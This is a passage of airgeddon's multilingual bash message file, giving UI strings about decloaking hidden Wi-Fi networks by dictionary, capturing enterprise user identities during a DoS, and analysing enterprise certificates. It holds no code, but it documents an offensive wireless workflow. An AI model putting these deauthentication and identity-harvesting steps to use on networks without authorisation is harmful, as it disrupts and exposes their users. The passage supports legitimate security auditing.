arr["ARABIC",736]="\${normal_color}\${essid} \${blue_color}:ESSID تم كشف الشبكة المخفية المستهدفة بنجاح. لقد تم الآن اختياره تلقائيًا. ال" arr["CHINESE",736]="隐藏的目标网络已成功解密。现在它已被自动选择。 ESSID:\${normal_color}\${essid}" arr["ENGLISH",737]="The decloak is about to start. All words in the dictionary will be tested as possible ESSIDs of the target hidden network" arr["SPANISH",737]="Va a comenzar el decloak. Se probarán todas las palabras del diccionario como posible ESSID de la red oculta objetivo" arr["FRENCH",737]="Le decloak va commencer. Tous les mots du dictionnaire seront testés comme ESSID possible du réseau caché cible" arr["CATALAN",737]="Va començar el decloak. Es provaran totes les paraules del diccionari com a possible ESSID de la xarxa oculta objectiu" arr["PORTUGUESE",737]="A descamuflagem vai começar. Todas as palavras do dicionário serão testadas como possíveis ESSID da rede wifi oculta" arr["RUSSIAN",737]="Процесс раскрытия вот-вот начнётся. Все слова в словаре будут проверены как возможные ESSID целевой скрытой сети" arr["GREEK",737]="Το decloak πρόκειται να ξεκινήσει. Όλες οι λέξεις στο λεξικό θα ελεγχθούν ως πιθανό ESSID του κρυφού δικτύου στόχου" arr["ITALIAN",737]="Il decloak sta per iniziare. Tutte le parole del dizionario verranno testate come possibile ESSID della rete nascosta obiettivo" arr["POLISH",737]="Rozpocznie się demaskowanie. Wszystkie słowa w słowniku zostaną przetestowane pod kątem możliwego identyfikatora ESSID docelowej sieci ukrytej" arr["GERMAN",737]="Das Decloaking wird beginnen. Alle Wörter in der Wörterliste werden als mögliche ESSID des versteckten Zielnetzwerks getestet" arr["TURKISH",737]="Decloak başlamak üzere. Sözlükteki tüm kelimeler, hedef gizli ağın mümkün ESSID'si olarak test edilecektir" arr["ARABIC",737]="للشبكة المخفية المستهدفة ESSID سيبدأ كشف الشبكة . سيتم اختبار جميع الكلمات الموجودة في القاموس على أنها ال" arr["CHINESE",737]="字典破解即将开始。字典中的所有字符串将作为目标隐藏无线网络的可能 ESSID 进行测试" arr["ENGLISH",738]="It seems we didn't succeed... please try again with another dictionary or try another type of decloak" arr["SPANISH",738]="Parece que no lo hemos conseguido... inténtalo de nuevo con otro diccionario o prueba otro tipo de decloak" arr["FRENCH",738]="Il semble que nous n'ayons pas réussi... réessayez avec un autre dictionnaire ou essayez un autre type de decloak" arr["CATALAN",738]="Sembla que no ho hem aconseguit... torna a intentar-ho amb un altre diccionari o prova un altre tipus de decloak" arr["PORTUGUESE",738]="Parece que não conseguimos... tente novamente com outro dicionário ou tente outro tipo de descamuflagem" arr["RUSSIAN",738]="Похоже, у нас не получилось... Пожалуйста, попробуйте снова с другим словарём или выберите другой метод раскрытия" arr["GREEK",738]="Φαίνεται ότι δεν τα καταφέραμε... παρακαλώ δοκιμάστε ξανά με άλλο λεξικό ή δοκιμάστε άλλο τύπο decloak" arr["ITALIAN",738]="Sembra che non ci siamo riusciti... riprova con un altro dizionario o prova un'altro tipo di decloak" arr["POLISH",738]="Wygląda na to, że się nie udało... spróbuj ponownie, korzystając z innego słownika lub spróbuj innego rodzaju decloak" arr["GERMAN",738]="Anscheinend ist uns das nicht gelungen... Versuchen Sie es erneut mit einer anderen Wörterliste oder versuchen Sie es mit einer anderen Art des Decloakings" arr["TURKISH",738]="Görünüşe göre başaramadık... başka bir sözlükle tekrar deneyin veya başka bir tür decloak deneyin" arr["ARABIC",738]="يبدو أننا لم ننجح... حاول مرة أخرى باستخدام قاموس آخر أو استخدم طريقة اخري لكشف الشبكة" arr["CHINESE",738]="看来我们还没有成功... 用另一本字典重试或尝试其他类型的隐藏无线网络解密" arr["ENGLISH",739]="If you want to learn how to perform professional wireless network assessments, the main author of airgeddon recommends the CWP (Certified WifiChallenge Professional) certification: \${normal_color}https://academy.wifichallenge.com/courses/certified-wifichallenge-professional-cwp?ref=c02137" arr["SPANISH",739]="Si quieres aprender a realizar auditorías profesionales de redes inalámbricas, el autor principal de airgeddon recomienda la certificación CWP (Certified WifiChallenge Professional): \${normal_color}https://academy.wifichallenge.com/courses/certified-wifichallenge-professional-cwp-esp?ref=c02137" arr["FRENCH",739]="Si vous voulez apprendre à réaliser des auditoires professionnels de réseaux étrangers, l'auteur principal d'airgeddon recommande la certification CWP (Certified WifiChallenge Professional): \${normal_color}https://academy.wifichallenge.com/courses/certified-wifichallenge-professional-cwp?ref=c02137" arr["CATALAN",739]="Si voleu aprendre a realitzar auditories professionals de xarxes inalámbriques, l'autor principal d'airgeddon recomana la certificació CWP (Certified WifiChallenge Professional): \${normal_color}https://academy.wifichallenge.com/courses/certified-wifichallenge- professional-cwp?ref=c02137" arr["PORTUGUESE",739]="Se você quiser aprender a realizar auditorias profissionais de redes wifi, o autor principal do airgeddon recomenda a certificação CWP (Certified WifiChallenge Professional): \${normal_color}https://academy.wifichallenge.com/courses/certified-wifichallenge-professional-cwp?ref=c02137" arr["RUSSIAN",739]="Если вы хотите научиться профессионально проводить оценку безопасности беспроводных сетей, главный автор airgeddon рекомендует сертификацию CWP (Certified WifiChallenge Professional): \${normal_color}https://academy.wifichallenge.com/courses/certified-wifichallenge-professional-cwp?ref=c02137" arr["GREEK",739]="Εάν θέλετε να μάθετε πώς να εκτελείτε επαγγελματικές αξιολογήσεις ασύρματων δικτύων, ο κύριος συγγραφέας του airgeddon συνιστά την πιστοποίηση CWP (Certified WifiChallenge Professional): \${normal_color}https://academy.wifichallenge.com/courses/certified-wifichallenge- Professional-cwp?ref=c02137" arr["ITALIAN",739]="Se vuoi imparare a realizzare test professionali di reti wireless, l'autore principale di airgeddon consiglia la certificazione CWP (Certified WifiChallenge Professional): \${normal_color}https://academy.wifichallenge.com/courses/certified-wifichallenge-professional-cwp?ref=c02137" arr["POLISH",739]="Jeśli chcesz dowiedzieć się, jak przeprowadzać profesjonalne oceny sieci bezprzewodowych, autor narzędzia airgeddon poleca certyfikat CWP (Certified WifiChallenge Professional): \${normal_color}https://academy.wifichallenge.com/courses/certified-wifichallenge-professional-cwp?ref=c02137" arr["GERMAN",739]="Wenn Sie lernen möchten, wie Sie professionelle Prüfungen von WLAN-Netzwerken durchführen, empfiehlt der Hauptautor von airgeddon die CWP-Zertifizierung (Certified WifiChallenge Professional): \${normal_color}https://academy.wifichallenge.com/courses/certified-wifichallenge-professional-cwp?ref=c02137" arr["TURKISH",739]="Profesyonel kablosuz ağ değerlendirmelerinin nasıl yapılacağını öğrenmek istiyorsanız, airgeddon'un baş yazarı CWP (Certified WifiChallenge Professional) sertifikasını öneriyor: \${normal_color}https://academy.wifichallenge.com/courses/certified-wifichallenge-professional-cwp?ref=c02137" arr["ARABIC",739]="\${normal_color}https://academy.wifichallenge.com/courses/certified-wifichallenge-professional-cwp?ref=c02137 \${pink_color}:(Certified WifiChallenge Professional) CWP يرشح بشهادةال airgeddon اذا كنت تريد أن تتعلم كيفية إجراء تقييمات احترافية للشبكات اللاسلكية، فإن المؤلف الرئيسي لـ\${normal_color}" arr["CHINESE",739]="如果你想学习如何进行专业的无线网络评估,airgeddon 的主要作者推荐 CWP(Certified WifiChallenge Professional)认证:\${normal_color}https://academy.wifichallenge.com/courses/certified-wifichallenge-professional-cwp?ref=c02137" arr["ENGLISH",740]="information gathering" arr["SPANISH",740]="recopilación de información" arr["FRENCH",740]="collecte d'informations" arr["CATALAN",740]="recollida d'informació" arr["PORTUGUESE",740]="coleta de informações" arr["RUSSIAN",740]="сбор информации" arr["GREEK",740]="συλλογή πληροφοριών" arr["ITALIAN",740]="raccolta di informazioni" arr["POLISH",740]="gromadzenie informacji" arr["GERMAN",740]="Informationssammlung" arr["TURKISH",740]="bilgi toplama" arr["ARABIC",740]="جمع المعلومات" arr["CHINESE",740]="信息收集" arr["ENGLISH",741]="8. Collect enterprise identities" arr["SPANISH",741]="8. Recopilar identidades enterprise" arr["FRENCH",741]="8. Collecte des identités d'entreprise" arr["CATALAN",741]="8. Recollir identitats enterprise" arr["PORTUGUESE",741]="8. Coleta de identidades enterprise" arr["RUSSIAN",741]="8. Собрать enterprise идентификаторы пользователей" arr["GREEK",741]="8. Συλλέξτε enterprise ταυτότητες" arr["ITALIAN",741]="8. Raccogliere identità enterprise" arr["POLISH",741]="8. Zbieranie tożsamości enterprise" arr["GERMAN",741]="8. Sammeln Sie Unternehmensidentitäten" arr["TURKISH",741]="8. Enterprise kimlikleri toplayın" arr["ARABIC",741]="8. enterpriseجمع هويات شبكات ال" arr["CHINESE",741]="8. 收集企业身份信息" arr["ENGLISH",742]="There are several types of identities in enterprise networks. Standard identities, such as the simple username (\${normal_color}\"user\"\${pink_color}), the User Principal Name (UPN) that combines the user and domain (\${normal_color}\"user@domain.com\"\${pink_color}), the SAMAccountName in domain and user format (\${normal_color}\"domain\user\"\${pink_color}), and the email address (\${normal_color}\"email@domain.com\"\${pink_color}). In addition, in certain configurations personalized attributes such as the number of employees or other attributes on platforms such as Azure can be used in the case of integrations with the Microsoft cloud. There are also anonymous identities where sometimes the domain name can be extracted (\${normal_color}\"domain\\\\\\\\\\\\\anonymous\"\${pink_color} or \${normal_color}\"anonymous@domain.local\"\${pink_color})" arr["SPANISH",742]="Existen varios tipos de identidades en las redes enterprise. Identidades estándar, como el nombre de usuario simple (\${normal_color}\"usuario\"\${pink_color}), el User Principal Name (UPN) que combina el usuario y dominio (\${normal_color}\"usuario@dominio.com\"\${pink_color}), el SAMAccountName en formato de dominio y usuario (\${normal_color}\"dominio\usuario\"\${pink_color}), y la dirección de correo electrónico (\${normal_color}\"correo@dominio.com\"\${pink_color}). Además, en ciertas configuraciones pueden usarse atributos personalizados como el número de empleado u otros atributos en plataformas como Azure en el caso de integraciones con la nube de Microsoft. También hay identidades anónimas donde a veces se puede extraer el nombre de dominio (\${normal_color}\"dominio\\\\\\\\\\\\\anonymous\"\${pink_color} o \${normal_color}\"anonymous@dominio.local\"\${pink_color})" arr["FRENCH",742]="Il existe plusieurs types d'identités dans les réseaux d'entreprise. Identités standard, comme le nom d'utilisateur simple (\${normal_color}\"user\"\${pink_color}), le User Principal Name (UPN) qui combine l'utilisateur et le domaine (\${normal_color}\"user@domain.com\"\${pink_color}), le SAMAccountName dans le format de domaine et utilisateur (\${normal_color}\"domain\user\"\${pink_color}) et l'adresse e-mail (\${normal_color}\"email@domain.com\"\${pink_color}). De plus, dans certaines configurations, des attributs personnalisés tels que le nombre d'employés ou d'autres attributs sur des plates-formes telles que Azure peuvent être utilisées dans le cas des intégrations avec le cloud Microsoft. Il existe également des identités anonymes où parfois le nom de domaine peut être extrait (\${normal_color}\"domain\\\\\\\\\\\\\anonymous\"\${pink_color} ou \${normal_color}\"anonymous@domain.local\"\${pink_color})" arr["CATALAN",742]="Hi ha diversos tipus d’identitats a les xarxes empresarials. Identitats estàndard, com ara el nom d'usuari senzill (\${normal_color}\"user\"\${pink_color}), el User Principal Name (UPN) que combina l'usuari i el domini (\${normal_color}\"user@domain.com\"\${pink_color}), el SAMAccountName en domini i format d'usuari (\${normal_color}\"domain\user\"\${pink_color}) , i l'adreça de correu electrònic (\${normal_color}\"email@domain.com\"\${pink_color}). A més, en determinades configuracions atributs personalitzats com el nombre d’empleats o altres atributs en plataformes com Azure es poden utilitzar en el cas d’integracions amb el núvol de Microsoft. També hi ha identitats anònimes on de vegades es pot extreure el nom de domini (\${normal_color}\"domain\\\\\\\\\\\\\anonymous\"\${pink_color} o \${normal_color}\"anonymous@domain.local\"\${pink_color})" arr["PORTUGUESE",742]="Existem vários tipos de identidades nas redes corporativas. O nome de usuário simples (\${normal_color}\"user\"\${pink_color}), User Principal Name (UPN) que combina o usuário e o domínio (\${normal_color}\"user@domain.com\"\${pink_color}), SAMAccountName que combina o domínio e o usuário no formato (\${normal_color}\"domain\user\"\${pink_color}) ou o endereço de e-mail (\${normal_color}\"email@domain.com\"\${pink_color}). Além disso, em existem certas configurações personalizadas, como o número de funcionários ou outros atributos de plataformas como o Azure, como no caso de integrações com a Microsoft Cloud. Há também identidades anônimas em que às vezes o nome de domínio pode ser extraído (\${normal_color}\"domain\\\\\\\\\\\\\anonymous\"\${pink_color} ou \${normal_color}\"anonymous@domain.local\"\${pink_color})" arr["RUSSIAN",742]="В enterprise сетях существует несколько типов идентификаторов пользователя. Стандартные идентификаторы, такие как имя пользователя (\${normal_color}\"user\"\${pink_color}), User Principal Name (UPN) (\${normal_color}\"user@domain.com\"\${pink_color}) и SAMAccountName (\${normal_color}\"domain\user\"\${pink_color}), которые объединяют имя пользователя и домен, адрес электронной почты (\${normal_color}\"email@domain.com\"\${pink_color}). В определенных конфигурациях могут присутствовать персонализированные атрибуты, такие как количество сотрудников, либо другие атрибуты определённых платформ, например, атрибуты Azure могут использоваться в случае интеграции с Microsoft Cloud. Помимо этого, существует идентификатор анонимного пользователя, который иногда позволяет извлечь доменное имя (\${normal_color}\"domain\\\\\\\\\\\\\anonymous\"\${pink_color} или \${normal_color}\"anonymous@domain.local\"\${pink_color})" arr["GREEK",742]="Υπάρχουν διάφοροι τύποι ταυτότητας σε enterprise δίκτυα. Οι τυπικές ταυτότητες, όπως το απλό όνομα χρήστη (\${normal_color}\"user\"\${pink_color}), το User Principal Name (UPN) που συνδυάζει τον χρήστη και το domain (\${normal_color}\"user@domain.com\"\${pink_color}), το SAMAccountName σε μορφή domain και χρήστη (\${normal_color}\"domain\user\"\${pink_color}), και το email (\${normal_color}\"email@domain.com\"\${pink_color}). Επιπλέον, σε ορισμένες διαμορφώσεις, εξατομικευμένα χαρακτηριστικά όπως ο αριθμός των υπαλλήλων ή άλλα χαρακτηριστικά σε πλατφόρμες όπως το Azure μπορούν να χρησιμοποιηθούν στην περίπτωση ενσωματώσεων με το Microsoft cloud. Υπάρχουν επίσης ανώνυμες ταυτότητες όπου μερικές φορές το domain name μπορεί να εξαχθεί (\${normal_color}\"domain\\\\\\\\\\\\\anonymous\"\${pink_color} ή \${normal_color}\"anonymous@domain.local\"\${pink_color})" arr["ITALIAN",742]="Esistono diversi tipi di identità nelle reti aziendali. Identità standard, come il nome utente semplice (\${normal_color}\"user\"\${pink_color}), l'User Principal Name (UPN) che combina l'utente e il dominio (\${normal_color}\"user@domain.com\"\${pink_color}), il SAMAccountName nel formato domaino e utente (\${normal_color}\"domain\user\"\${pink_color}) e l'indirizzo e-mail (\${normal_color}\"email@domain.com\"\${pink_color}). Inoltre, in alcune configurazioni si possono utilizzare attributi personalizzati come il numero del dipendente o altri attributi su piattaforme come Azure possono essere utilizzati in caso di integrazioni con Microsoft Cloud. Esistono anche identità anonime in cui a volte può essere estratto il nome di dominio (\${normal_color}\"domain\\\\\\\\\\\\\anonymous\"\${pink_color} o \${normal_color}\"anonymous@domain.local\"\${pink_color})" arr["POLISH",742]="Istnieje kilka rodzajów tożsamości w sieciach korporacyjnych. Standardowe tożsamości, takie jak prosta nazwa użytkownika (\${normal_color}\"user\"\${pink_color}), User Principal Name (UPN), która łączy użytkownika i domenę (\${normal_color}\"user@domain.com\"\${pink_color}), SAMAccountName w domenach i formatach użytkownika (\${normal_color}\"domain\user\"\${pink_color}) oraz adres e-mail (\${normal_color}\"email@domain.com\"\${pink_color}). Ponadto, w niektórych konfiguracjach istnieją spersonalizowane atrybuty, takie jak liczba pracowników lub inne atrybuty na platformach takich jak Azure w przypadku integracji z chmurą Microsoft. Istnieją również anonimowe tożsamości, w których czasami można wyodrębnić nazwę domeny (\${normal_color}\"domain\\\\\\\\\\\\\anonymous\"\${pink_color} lub \${normal_color}\"anonymous@domain.local\"\${pink_color})" arr["GERMAN",742]="Es gibt verschiedene Arten von Identitäten in Unternehmensnetzwerken. Die Standardidentitäten, wie der einfache Benutzername (\${normal_color}\"user\"\${pink_color}), der User Principal Name (UPN), der den Benutzer und die Domäne kombiniert (\${normal_color}\"user@domain.com\"\${pink_color}), den SAMAccountName im Domain- und Benutzerformat (\${normal_color}\"domain\user\"\${pink_color}), und die E-Mail-Adresse (\${normal_color}\"email@domain.com\"\${pink_color}). Zudem, können in bestimmten Konfigurationen personalisierte Attribute wie die Anzahl der Mitarbeiter oder andere Attribute auf Plattformen wie Azure im Fall von Integrationen mit der Microsoft-Cloud verwendet werden. Es gibt auch anonyme Identitäten, bei denen manchmal der Domänenname extrahiert werden kann (\${normal_color}\"domain\\\\\\\\\\\\\anonymous\"\${pink_color} oder \${normal_color}\"anonymous@domain.local\"\${pink_color})" arr["TURKISH",742]="Kurumsal ağlarda çeşitli kimlik türleri vardır. Basit kullanıcı adı (\${normal_color}\"user\"\${pink_color}), kullanıcı ve etki alanını (\${normal_color}\"user@domain.com\"\${pink_color}) birleştiren User Principal Name (UPN), alan adında ve kullanıcı SAMAccountName (\${normal_color}\"domain\user\"\${pink_color}) gibi standart kimlikler ve e -posta adresi (\${normal_color}\"email@domain.com\"\${pink_color}). Ayrıca, bazı yapılandırmalarda, Azure gibi platformlardaki çalışan sayısı veya diğer özellikler gibi kişiselleştirilmiş özellikler, Microsoft Cloud ile entegrasyonlarda kullanılabilir. Bazen alan adının çıkarılabileceği anonim kimlikler de vardır (\${normal_color}\"domain\\\\\\\\\\\\\anonymous\"\${pink_color} veya \${normal_color}\"anonymous@domain.local\"\${pink_color})" arr["ARABIC",742]="(\${normal_color}\"domain\\\\\\\\\\\\\anonymous\"\${pink_color} or \${normal_color}\"anonymous@domain.local\"\${pink_color}) توجد أيضًا هويات مجهولة حيث يمكن أحيانًا استخراج اسم النطاق .Microsoft Cloud في حالة عمليات التكامل مع Azure بالإضافة إلى ذلك، في بعض التكوينات، يمكن استخدام سمات مخصصة مثل عدد الموظفين أو سمات أخرى على منصات مثل .(\${normal_color}\"email@domain.com\"\${pink_color}) والبريد الإلكتروني ,(\${normal_color}\"domain\user\"\${pink_color}) بصيغة النطاق والمستخدم SAMAccountName ,(\${normal_color}\"user@domain.com\"\${pink_color}) الذي يجمع بين المستخدم والنطاق User Principal Name (UPN) ,(\${normal_color}\"user\"\${pink_color}) مثل اسم المستخدم بسيط ,Standardالهويات ال .enterpriseهناك عدة أنواع من الهويات في شبكات ال" arr["CHINESE",742]="企业网络中有几种类型的身份信息。标准身份信息,例如简单的用户名(\${normal_color}\"user\"\${pink_color}),User Principal Name (UPN) 结合了用户和域(\${normal_color}\"user@domain.com\"\${pink_color}),SAMAccountName 在域和用户格式中(\${normal_color}\"domain\user\"\${pink_color}) ,以及邮件地址(\${normal_color}\"email@domain.com\"\${pink_color})。此外,在某些配置中,在与Microsoft Cloud集成的情况下,可以使用诸如Azure等平台上的员工数量或其他属性的属性。还有一些匿名身份,有时可以提取域名(\${normal_color}\"domain\\\\\\\\\\\\\anonymous\"\${pink_color} 或 \${normal_color}\"anonymous@domain.local\"\${pink_color})" arr["ENGLISH",743]="The enterprise identities capture process is about to begin. Do not close either the DoS window or the capture window. They will close automatically after the timeout you set" arr["SPANISH",743]="El proceso de captura de identidades enterprise está a punto de comenzar. No cierres ni la ventana de DoS ni la ventana de captura. Se cerrarán automáticamente después del timeout que estableciste" arr["FRENCH",743]="Le processus de capture des identités d'entreprise est sur le point de commencer. Ne fermez pas la fenêtre de DoS ni la fenêtre de capture. Ils fermeront automatiquement après le timeout que vous avez établi" arr["CATALAN",743]="El procés de captura d’identitats enterprise està a punt de començar. No tanqueu ni la finestra DoS ni la finestra de captura. Es tancaran automàticament després del timeout que vau establir" arr["PORTUGUESE",743]="O processo de captura de identidades enterprise está prestes a começar. Não feche a janela do DoS nem a janela de captura. Elas serão fechadas automaticamente após o timeout configurado" arr["RUSSIAN",743]="Процесс захвата enterprise идентификаторов вот-вот начнется. Не закрывайте окна DoS и захвата. Они закроются автоматически после истечения заданного вами тайм-аута" arr["GREEK",743]="Η διαδικασία σύλληψης των enterprise ταυτoτήτωv πρόκειται να ξεκινήσει. Μην κλείσετε το παράθυρο DoS ούτε το παράθυρο λήψης. Θα κλείσουν αυτόματα μετά το χρονικό όριο που ορίσατε" arr["ITALIAN",743]="Il processo di acquisizione delle identità enterprise sta per iniziare. Non chiudere la finestra del DoS né la finestra di acquisizione. Si chiuderanno automaticamente dopo il timeout che hai stabilito" arr["POLISH",743]="Za chwilę rozpocznie się proces przechwytywania tożsamości enterprise. Nie zamykaj ani okna DoS, ani okna przechwytywania. Zamkną się one automatycznie po ustawionym limicie czasu" arr["GERMAN",743]="Der Prozess zur Erfassung der Enterprise-Identitäten beginnt in Kürze. Schließen Sie weder das DoS-Fenster noch das Erfassungsfenster. Sie schließen sich automatisch nach dem von Ihnen festgelegten Timeout" arr["TURKISH",743]="Enterprise kimliklerin yakalanma süreci başlamak üzere. DoS penceresini veya yakalama penceresini kapatmayın. Belirlediğiniz zaman aşımı süresinden sonra bu pencereler otomatik olarak kapanacaktır" arr["ARABIC",743]="أو نافذة الالتقاط. سوف يغلقون تلقائيًا بعد المهلة المحدده DoS إن عملية التقاط هويات المؤسسة على وشك البدء. لا تغلق نافذةال" arr["CHINESE",743]="企业级身份捕获过程即将开始。请勿关闭任何正在运行中的窗口。等待超时后,窗口将自动关闭" arr["ENGLISH",744]="Searching for enterprise identities in the capture file. Please be patient..." arr["SPANISH",744]="Buscando identidades enterprise en el fichero de captura. Por favor, ten paciencia..." arr["FRENCH",744]="Recherche d'identités d'entreprise dans le fichier de capture. S'il vous plaît soyez patient..." arr["CATALAN",744]="Buscant identitats enterprise al fitxer de captura. Si us plau, tingui paciència..." arr["PORTUGUESE",744]="Procurando identidades enterprise no arquivo de captura. Por favor, seja paciente..." arr["RUSSIAN",744]="Поиск enterprise идентификаторов пользователей в полученном файле. Пожалуйста, подождите..." arr["GREEK",744]="Αναζήτηση enterprise ταυτοτήτων στο αρχείο καταγραφής. Παρακαλώ υπομονή..." arr["ITALIAN",744]="Cercando identità enterprise nel file di acquisizione. Per favore, sii paziente..." arr["POLISH",744]="Wyszukiwanie tożsamości enterprise w pliku przechwytywania. Proszę o cierpliwość..." arr["GERMAN",744]="Suche nach Unternehmensidentitäten in der Erfassungsdatei. Bitte haben Sie Geduld..." arr["TURKISH",744]="Yakalama dosyasında enterprise kimlikler aranıyor. Lütfen sabırlı olun..." arr["ARABIC",744]="...في ملف الالتقاط. يرجى الانتظار enterpriseجارٍ البحث عن هويات ال" arr["CHINESE",744]="在捕获文件中搜索企业身份信息。请耐心等待..." arr["ENGLISH",745]="No enterprise identities found. Either there are no clients connected, or you need to increase the timeout to be able to capture them" arr["SPANISH",745]="No se ha encontrado ninguna identidad enterprise. O bien no hay clientes conectados, o bien has de aumentar el timeout para poder capturarlas" arr["FRENCH",745]="Aucune identité d'entreprise trouvée. Ou il n'y a pas de clients connectés, ou vous devez augmenter le timeout pour pouvoir les capturer" arr["CATALAN",745]="No s'ha trobat cap identitat enterprise. O be no hi ha clients connectats, o be has d'augmentar el timeout per poder capturarles" arr["PORTUGUESE",745]="Nenhuma identidade enterprise encontrada. Não há clientes conectados ou você precisa aumentar o tempo limite para poder capturá-los" arr["RUSSIAN",745]="Enterprise идентификаторы пользователей не найдены. Либо в сети нет подключенных клиентов, либо вам нужно увеличить время на таймаут, чтобы иметь возможность их перехватить" arr["GREEK",745]="Δεν βρέθηκαν enterprise ταυτότητες. Είτε δεν υπάρχουν συνδεδεμένοι πελάτες, είτε πρέπει να αυξήσετε το χρονικό όριο για να μπορέσετε να τους καταγράψετε" arr["ITALIAN",745]="Nessuna identità enterprise trovata. O non ci sono clienti connessi oppure è necessario aumentare il timeout per poterli catturare" arr["POLISH",745]="Nie znaleziono tożsamości enterprise. Albo nie ma podłączonych klientów, albo trzeba zwiększyć limit czasu, aby móc je przechwycić" arr["GERMAN",745]="Keine Unternehmensidentitäten gefunden. Entweder sind keine Clients verbunden, oder Sie müssen das Timeout erhöhen, um sie erfassen zu können" arr["TURKISH",745]="Hiçbir enterprise kimlik bulunamadı. Ya bağlı istemci yok ya da onları yakalayabilmek için zaman aşımını artırmanız gerekiyor" arr["ARABIC",745]="إما أنه لا يوجد عملاء متصلون، أو أنك بحاجة إلى زيادة مهلة الانتظار لتتمكن من التقاطهم .enterpriseلم يتم العثور على هويات ال" arr["CHINESE",745]="未找到企业身份信息。可能目前没有客户端连接,或者你需要增加等待时间才能捕获它们" arr["ENGLISH",746]="Enterprise identities have been found. Make a note of them before pressing the [Enter] key" arr["SPANISH",746]="Se han encontrado identidades enterprise. Anótalas antes de pulsar la tecla [Enter]" arr["FRENCH",746]="Des identités d’entreprise ont été trouvées. Notez-les avant d'appuyer sur la touche [Enter]" arr["CATALAN",746]="S'han trobat identitats enterprise. Anota-les abans de prémer la tecla [Enter]" arr["PORTUGUESE",746]="Identidades enterprise foram encontradas. Anote-os antes de pressionar a tecla [Enter]" arr["RUSSIAN",746]="Enterprise идентификаторы пользователей были найдены. Запишите их, прежде чем нажать клавишу [Enter]" arr["GREEK",746]="Έχουν βρεθεί enterprise ταυτότητες. Σημειώστε τις πριν πατήσετε το πλήκτρο [Enter]" arr["ITALIAN",746]="Sono state trovate identità enterprise. Annotale prima di premere il tasto [Enter]" arr["POLISH",746]="Znaleziono tożsamości enterprise. Zanotuj je przed naciśnięciem klawisza [Enter]" arr["GERMAN",746]="Es wurden Unternehmensidentitäten gefunden. Notieren Sie sie, bevor Sie die [Enter]-Taste drücken" arr["TURKISH",746]="Enterprise kimlikleri bulundu. [Enter] tuşuna basmadan önce bunları yazın" arr["ARABIC",746]="[Enter] سجّلها قبل الضغط على مفتاح .enterprise تم العثور على هويات ال" arr["CHINESE",746]="企业身份信息已经找到。请在按下 [Enter] 键之前保存它们" arr["ENGLISH",747]="The type of the selected network is invalid. This action can't be carried out on \${selected_network_type_text} networks. It is only allowed on \${unselected_network_type_text} networks" arr["SPANISH",747]="El tipo de red seleccionada no es válida. Esta acción no se puede llevar a cabo en redes de tipo \${selected_network_type_text}. Solo está permitido en redes de tipo \${unselected_network_type_text}" arr["FRENCH",747]="Le type de réseau sélectionné n'est pas valide. Cette action ne peut pas être effectuée dans reseaux de type \${selected_network_type_text}. Il n'est autorisé que dans \${unselected_network_type_text}" arr["CATALAN",747]="El tipus de xarxa seleccionat no és vàlid. Aquesta acció no es pot dur a terme al tipus \${selected_network_type_text}. Només es permet a \${unselected_network_type_text}" arr["PORTUGUESE",747]="O tipo de rede selecionada não é válida. Esta ação não pode ser realizada no tipo \${selected_network_type_text}. Esta ação é permitida apenas em \${unselected_network_type_text}" arr["RUSSIAN",747]="Недопустимый тип выбранной сети. Это действие не может быть выполнено в сети \${selected_network_type_text}, оно может быть выполнено только в сети \${unselected_network_type_text}" arr["GREEK",747]="Ο τύπος του επιλεγμένου δικτύου δεν είναι έγκυρος. Αυτή η ενέργεια δεν μπορεί να πραγματοποιηθεί σε δίκτυα \${selected_network_type_text}. Επιτρέπεται μόνο σε δίκτυα \${unselected_network_type_text}" arr["ITALIAN",747]="Il tipo di rete selezionato non è valido. Questa azione non può essere eseguita in reti di tipo \${selected_network_type_text}. È consentita solo in reti di tipo \${unselected_network_type_text}" arr["POLISH",747]="Typ wybranej sieci jest nieprawidłowy. Tej akcji nie można przeprowadzić w sieciach \${selected_network_type_text}. Jest to dozwolone tylko w sieciach \${unselected_network_type_text}" arr["GERMAN",747]="Der Typ des ausgewählten Netzwerks ist ungültig. Diese Aktion kann nicht auf \${selected_network_type_text} Netzwerken durchgeführt werden. Es ist nur in \${unselected_network_type_text} Netzwerken erlaubt" arr["TURKISH",747]="Seçilen ağın türü geçersizdir. Bu eylem \${selected_network_type_text} ağlarında gerçekleştirilemez. Yalnızca \${unselected_network_type_text} ağlarına izin verilir" arr["ARABIC",747]="\${unselected_network_type_text} يُسمح به فقط على \${selected_network_type_text} نوع الشبكة المحددة غير صالح. لا يمكن تنفيذ هذا الإجراء على" arr["CHINESE",747]="所选网络的类型无效。此操作无法在\${selected_network_type_text}网络上执行。它仅在\${unselected_network_type_text}网络上允许" arr["ENGLISH",748]="9. Analyze enterprise certificate" arr["SPANISH",748]="9. Analizar certificado enterprise" arr["FRENCH",748]="9. Analyser le certificat d'entreprise" arr["CATALAN",748]="9. Analitzar el certificat entreprise" arr["PORTUGUESE",748]="9. Analise de certificado entreprise" arr["RUSSIAN",748]="9. Анализ enterprise сертификата" arr["GREEK",748]="9. Αναλύστε το πιστοποιητικό entreprise" arr["ITALIAN",748]="9. Analizzare il certificato entreprise" arr["POLISH",748]="9. Analiza certyfikatu enterprise" arr["GERMAN",748]="9. Analysieren Sie das Enterprise-Zertifikat" arr["TURKISH",748]="9. Entreprise sertifikayı analiz et" arr["ARABIC",748]="9. تحليل الشهادة المؤسسة" arr["CHINESE",748]="9. 分析企业级证书" arr["ENGLISH",749]="Attack for information gathering" arr["SPANISH",749]="Ataque para recopilación de información" arr["FRENCH",749]="Attaque pour la collecte d'information" arr["CATALAN",749]="Atac per a recopilació d'informació" arr["PORTUGUESE",749]="Ataque para coleta de informações" arr["RUSSIAN",749]="Атака для сбора информации" arr["GREEK",749]="Επίθεση για συλλογή πληροφοριών" arr["ITALIAN",749]="Attacco per la raccolta di informazioni" arr["POLISH",749]="Atak w celu gromadzenia informacji" arr["GERMAN",749]="Angriff zur Informationsbeschaffung" arr["TURKISH",749]="Bilgi toplama için saldırı" arr["ARABIC",749]="هجوم لجمع المعلومات" arr["CHINESE",749]="攻击信息收集" arr["ENGLISH",750]="The Enterprise certificates analysis process is about to begin. Do not close either the DoS window or the capture window. They will close automatically after the timeout you set" arr["SPANISH",750]="El proceso de análisis de certificados enterprise está a punto de comenzar. No cierres ni la ventana de DoS ni la ventana de captura. Se cerrarán automáticamente después del timeout que estableciste" arr["FRENCH",750]="Le processus d'analyse des certificats d'entreprise est sur le point de commencer. Ne fermez pas la fenêtre des DoS deux fenêtres ni la fenêtre de capture. Ils fermeront automatiquement après le délai d'attente que vous avez établi" arr["CATALAN",750]="El procés d’anàlisi del certificat empresarial està a punt de començar. No tanqueu ni la finestra DoS ni la finestra 